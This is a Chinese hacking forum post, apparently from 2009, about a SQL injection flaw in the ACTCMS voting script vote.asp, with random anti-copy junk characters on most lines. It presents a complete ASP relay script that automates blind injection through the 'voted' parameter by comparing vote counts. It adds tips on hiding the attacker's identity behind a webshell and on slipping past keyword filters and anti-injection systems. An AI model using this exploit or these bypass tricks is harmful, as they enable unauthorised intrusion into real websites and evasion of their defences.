/ r: ^9 t' d% g1 i/ l看到ninty大牛的blog的一篇文章& F: d0 P# e7 y5 F' A$ t( Q
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]- `' q# n C& L% z9 B
关于actcms漏洞的利用 by 3x qq:381862589* E# E7 A1 R& M2 |/ R) [
转载请注明以上
' q& F2 v, X1 J+ J, H3 c0 F漏洞文件: z5 ? ]! x l4 {- z+ `6 F
/plus/vote/vote.asp5 z$ X- L* o3 G7 n* G6 A1 _* q
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then / f+ F# P" Q8 o/ R& G
& |. |( b, w0 V$ c( l$ g
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
$ A5 S X! E0 |6 F6 E
7 F5 \$ T3 C0 Z& r; n/ x3 response.end
! _) C" L U- `( V4 S
( B1 i& M# F# e: p3 M4 end if ; a5 X R/ e( D: Y5 m2 f
0 I9 Y$ B! g0 s2 a! A5 for i=1 to request("voted").count $ }# F. s2 {/ |& Z# [8 l
1 a R) W7 h# C- R! E6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) / P9 E, m2 p4 } C
7 |+ v4 O1 M. p1 w7 next % B$ M6 _2 M6 t. z O3 m' F
: ^" a9 h$ q8 o# [" E& C8 F- ~
8....
" V2 S- ~5 I7 g9 ?/ y+ t0 [* c1 w
! ^0 X& }8 Q* \: ?! T3 W' X8 I& r9response.Redirect "index.asp?id="&id&"" & T% M# S5 p9 z7 T
投票结束回跳转回index.asp这个投票结果页面4 P. u, @' \. `' x" _- H: Z% X
如果投票成功票数加1% Y8 ^2 x# n; P0 K
失败票数不变
! y$ N R" z; [如图:
; j1 ~4 m5 v0 M( R* }. j% nhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)& i% z3 s0 {% q4 d2 E' d
0 Y' d3 B& x7 X5 \$ o% ~+ D
2009-12-27 13:20
6 f. H' B5 S5 p1 A
. c; ~7 g( G5 ]& G4 u利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
" B9 M5 N& H' H! r
" ?; ]; Y/ C; W# F; |" q4 p; |本帖隐藏的内容需要回复才可以浏览7 {) `/ O& M; n( ?6 U4 b* P2 L; O
我们用注入中转来实现这个注入具体代码如下:: S/ c& r$ X+ S& [% l
先用寂寞的刺猬大牛的注入中转生成jmget.asp; u7 |# e5 n7 M: @0 y* N8 M
注入地址:http://localhost/actcms/plus/vote/vote.asp
. p+ e7 f8 S2 c; F2 o, _注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项% X8 D9 E/ o) [; R
" r j9 C/ F- q
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% # _4 d( m" j- k5 u# T5 b
: ?' S% A' K$ e8 y8 J0 C& F/ ~
02JmdcwName=request("jmdcw") " t' ^7 S/ | W8 A% n; s
# o0 y {/ f* n
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
6 M$ A- X+ m5 l. X3 T1 [2 v% t6 {9 V( c3 C% \1 ^* d- ^
04JmStr="id=1&voted=-1 or 1="&JmdcwName
) n* m; E( i) w% T0 [" e7 ?; Y7 m; @3 X0 a2 i) h4 E
05JmStr=URLEncoding(JmStr) 8 _: P5 P- X, @2 {& a6 l
! W2 x& a5 [5 X" ~6 G/ U
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
' R- P7 @1 Q! T" M3 T0 S, d; S+ N8 h% M& l o q, M
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
2 Z3 z$ ?/ j' x; `7 W
2 q2 Y3 ~) C7 n08testurl=testurl & "?" & JmStr
" I/ _* _% s" z. M& L, g* V& `% s9 o, B4 k
09JMUrl=JMUrl & "?" & JmStr ) U$ p( C2 W' X# q
0 ?7 g3 x ]4 y3 ]10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"; Y1 c( L9 u4 N1 C1 N1 `( R
o h. D0 b, Q k) o" D: k% b11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. u/ K- q' U) C. |9 V" M$ L. ?
y$ }# s, P5 l7 A# r12JmCok=replace(JmCok,chr(32),"%20")
' c& p9 R. C) ~( a6 s8 K- k3 {& {2 R) I+ H; D$ p! C8 [
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
# x3 d1 \& B2 k9 U$ b* a7 @- A$ j# i) i6 ^+ g6 O
14
" X) C" ^0 `% a; {! H1 {! N2 g4 Z* U `6 C+ Y
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 * a' j* f* r0 T9 x1 X
3 L$ c& ~) S' z3 n2 ]16 Q- U* ]8 Y- ^
4 p" w" t5 o5 Z$ y
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 4 ~( S& ]6 L& Y9 ?0 g( \
1 C8 M- _& R9 d) S( s18response.write test1&""&test2&""
* r5 e0 S% R+ R, i" u( i2 h4 n2 @3 N8 ^
19 1 J( U% \! P- ^0 Q
* a+ ]: V- }% w. P, m7 T/ Z, B; G20if test1=test2 then '如前后记录相等,表示失败
+ @6 {- h/ Q; \( [: Y
$ Y: A! X& @' x21 response.write "failed"
7 |" A" f; q- a; u; {/ L2 d6 M# v5 A* c" T
22else % B, b5 G$ |2 ~8 ~2 {, Q$ a
9 ~9 ~/ B Y3 G/ s
23 response.write "succeed"; a7 t& B6 n+ [& N
# a1 B$ K0 O7 a2 n& n24end if
& o) a9 O }* `2 ^% A" m# ?) m
+ w B8 J% S& J4 Y' E: X3 l! } X+ y25
& ^/ l; X( X! x3 L
( `8 e9 G4 m- q/ o# i26response.write "by 3x"
- D/ ?6 F9 y6 u. U
% j! ~7 p& Q% O/ {27
3 C. E2 O \6 U9 n' b& k5 Z1 @* c/ C2 v& T6 O9 V- e/ q
28 * [. E; v- a3 i9 Z! o
$ l9 O: Z/ P+ K0 W M5 R29Function PostData(PostUrl,PostStr,PostCok,PostRef) v. k) @" g6 Z7 a9 d# s3 d
- O d- S: P( Q7 u8 \! @5 f9 j
30Dim Http
) O+ y/ y) D5 x# N+ y7 o9 m( ?& K( d4 l/ F/ h& H
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
$ m1 m9 K4 v/ q8 g$ [, y% ?$ q/ `! k5 b+ ^" o* N0 V" u2 ]
32With Http , W$ d9 e7 ^8 A& f
+ o1 C4 Z8 V7 v. L& }. V$ M" x33
) |& u9 {# ^- S( c/ `9 F6 J
1 _# j, A/ S% g5 O; p, ^34.Open "GET",PostUrl,False
f! x# g* H, P! K9 r) z* X; u% J+ L; f8 u1 Y( |
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"6 n& A ^6 G: {5 P, V4 S3 E
' w" u$ K* t1 o R! x8 [# ^36.SetRequestHeader "Referer",PostRef
* \+ u% o# V F6 X; q8 U
+ j; a! D. n0 B( }1 y3 }; k7 @37.SetRequestHeader "Cookie",PostCok 5 k$ a/ B/ V1 ^; L0 Q
6 s; h; ]6 \1 [. B# i
38.Send ()
2 S! b- e. Q2 F7 B, {/ j/ X3 D9 U, d: g9 M$ O5 e4 h5 ^
39PostData = .ResponseBody E! V* v2 G+ J$ T
) c) G/ ]8 N+ b. I
40End With% @" H3 {5 r" v" u7 Z
5 x2 D$ V$ U3 G) ^ G
41Set Http = Nothing
3 I# Z+ h0 }# m: T" A" x6 r* k; K' Q1 ?2 a
42PostData =bytes2BSTR(PostData) , V9 c S# A8 o3 _1 \
0 a8 ]* ^, M1 {: O2 Q$ a43End Function4 ?+ D- c: |1 O" T9 n
( R+ \, s. {0 O1 l+ C/ ~& V @44 1 f( u. @) d. p* N- A% {
/ X0 M" f" f9 T6 d
45 0 E8 i/ D: N _% H! {" k/ ~
- `7 g- _5 n9 _( V9 A
46Function bytes2BSTR(vIn) ( Q8 H- C+ M) J/ e
, N1 t" V. F# h: ~
47Dim strReturn ; q; y% p/ b# r9 C$ s& L' \/ k% T
+ P; a( I1 I4 C7 b" q3 J) C48Dim I, ThisCharCode, NextCharCode ! X8 Y6 p4 r5 m% c) U
+ I0 g3 J4 `/ R& @# [7 f6 A
49strReturn = ""
8 m1 ^4 N% L2 K; w- V) v$ [- G1 |
4 {# C0 m# n. `* {6 f0 K6 w50For I = 1 To LenB(vIn) 7 a0 @5 ]: }0 n3 k4 y' D( q
! D& D6 y* p+ k- ?+ \+ P
51ThisCharCode = AscB(MidB(vIn, I, 1)) + J9 Y0 ?) x5 P$ q- y
3 G9 J t0 y4 u& d: E
52If ThisCharCode < &H80 Then
# ^: u) p' B' ~- W% l- r0 w( F4 `8 U" S# l
53strReturn = strReturn & Chr(ThisCharCode) 3 J1 I7 r. A1 f4 ^+ h$ G8 ~9 I
' {8 s8 @# U2 f8 J* {
54Else
# n; W! h/ @( r4 L" p y2 `8 v0 C5 _& Z5 z
5 g: ]; t$ \0 i) Y6 N( w55NextCharCode = AscB(MidB(vIn, I + 1, 1))
6 o6 c4 u% z5 ~7 z1 P1 ?5 G" L( I5 [0 |, L6 o4 d- b
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) & K# i& M3 K3 [3 t! T8 u) M" `
3 c6 I6 L# m4 c9 o9 G+ ]
57I = I + 1 ; Y8 i* f4 m; o' }0 j4 H( x. w
9 [1 v; z& J( [' y" S
58End If, G( \+ C9 `' f
; v9 \* W2 b5 s/ h( `( R2 m8 P59Next" C2 i* y- G5 j0 S
% F- x, W, \& n; P: U8 _
60bytes2BSTR = strReturn
8 n. |2 I/ z5 [4 }; i4 R$ }. I0 `5 k9 V+ W7 G0 o9 n/ V% M! a
61End Function
5 i. J3 s- I" f$ ] Y8 S6 N$ E
V. P& M% E3 M9 j+ ^" w5 S) u62
- O* r. @4 X3 _4 \6 Q0 Q
9 e2 ~( d6 x6 X @63Function URLEncoding(vstrin) & j$ I- S a% J8 A k
- F: N: u! `1 H( D" K9 g
64strReturn=""
+ y9 P8 x: ?( [5 }' o( y `, E
' U/ |# d* `3 J. y) \* I4 |65Dim i & F' H% o& u. L) Z5 a" V; z) V9 C, g# Y
+ d# U7 z8 f* c+ w/ c( W4 U) H
66For i=1 To Len(vstrin) 0 l( b2 [# v0 c: [
% T8 b V9 e% s8 g1 _9 h% z1 y3 ?
67ThisChr=Mid(vstrin,i,1)
1 P$ f" i4 i! O. J% w
" E% l4 `1 S9 L8 m+ P: D68if Abs(Asc(ThisChr))< &HFF Then
) D- K( c6 ~# Q( v1 A
0 B# b8 c; G. L3 F+ ]3 l" e# s" B1 p69strReturn=strReturn & ThisChr : e2 s5 ?2 k" \5 Q! r" g
! j/ P6 v8 f4 I- [% P; _' m* y0 l70Else
8 F" h( z9 y* d* ~2 l, R, v; a9 q0 Z1 E* @& Z+ s8 L& ?5 u
71InnerCode=Asc(ThisChr) 3 O6 {( p$ o; S# M/ p k1 R
. k+ t6 w0 B6 ~! U) w1 w8 n! x72If InnerCode<0 Then$ Y4 m0 c) r( @( t
& ~0 N9 x& q9 g73InnerCode=InnerCode + &H10000 : a+ _3 \- y5 L, {2 u/ ?- |1 O
& u; ]2 o' H$ i9 H+ D8 y$ ]7 ?% L
74End If
0 f K- X% J/ n4 E+ S. G4 A' V9 a
75Hight1=(InnerCode And &HFF00) \&HFF 0 p& y; C0 e% w2 T9 R" y! i
) N4 P/ G1 L+ c3 ]' _76Low1=InnerCode And &HFF
/ Q# a q' R1 g8 K: I- `8 C0 g' Y$ ?) ?% I4 t6 ~, Q
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
1 d6 U& j& @) D* Y, }
# _& ^5 v! y, e$ o78End if
1 W M5 U2 `! F5 `& l5 G
0 W- y R2 `$ s79Next/ Q# V0 M1 }7 ?0 w7 _
1 K& Z& l3 y) o2 H80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
3 { I9 t* d- M; H$ @
$ R9 {- `, t7 S81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 ' @2 c2 S! p0 Z" {
& {0 x3 t. N2 G82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 ( r* B+ ]( [! g, P4 | X. Y
% `; a5 [4 W* Y# P0 e6 G
83URLEncoding=strReturn
/ X" t C$ Y1 I5 y, b+ I. J3 o j& }1 f! H" g% \
84End Function! u$ @0 Y$ e2 K( U. e5 k1 b& ~
- k" f- b$ Q& l* S4 I6 ~
85 / m' p5 O& R$ W7 h
$ Q6 U4 s @5 X7 z# |3 E# [5 |86function getSt(body) 3 \+ H8 b m- q) f( ?& T* F+ L: o
7 \4 y" V. \7 s7 ?& d5 n
87 startpot=instr(body,"投票人数:")+len("投票人数:")
0 b) k& x( g- M; S+ _. O
- @+ I, Q* n W5 U9 G* o88 endpot=instr(startpot,body," ")
2 N8 e8 Z% }. i+ R9 g7 P0 C# l2 e! R. t i+ X# \, _
89 getSt=mid(body,startpot,endpot-startpot)
$ F- W; g8 L6 f$ t/ \6 M+ Y1 P3 j2 D& f7 i* d% m
90end function ) j4 a+ F: \% a5 `
6 l2 U% Z6 L2 Z& l4 F; s* W
91%># K- J3 W; X9 ]( P# x
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了 S( }* j" G$ Z, [# g
测试下效果:
7 e" ?' c7 h h! ]- Q: X投票成功:
; D+ y9 _/ t# `1 o- shttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)0 _. m7 Y! Q# X: D2 e7 n1 w1 ^/ f
! f% b7 J6 b( ]7 C! P
2009-12-27 13:29
j6 B) m) e: m) o) x6 {. g0 C投票失败* z" O& J$ h3 l
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
1 c/ y. y' o. w, t. O6 z, d F0 g$ y2 g
2009-12-27 13:29
- F! F1 S) w. }2 u-------------------------------------------------------------------------------
5 d1 i! V) F, u( d再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以 H! [; d! g% {+ H# ], n
很抱歉。。。只能用单线程工具去注入。。。。。 r4 ^8 `( T7 i4 B7 g
所以失败。。。不好意思。。。
$ A& h B- C& o4 M r' Y/ \* I5 Q3 M-------------------------------------------------------------------------------/ N& ~. j! a1 e
: S5 T' ]1 f. e
注入中转的一些其他应用( S& k$ v# K0 e* t8 I5 g) n
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了5 S0 |" d& U1 X3 {5 i! Z
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
/ l7 x7 q. D( T' y$ C2.post注入转成get型的注入,方便我们使用工具来跑 V- a1 V0 |4 V5 ^1 h" J! Q
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
4 G% u" x# l0 k g% C4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
4 H4 W, Q6 ~' J! r6 x, o: D
2 A* E" n- m% o9 @2 A- U |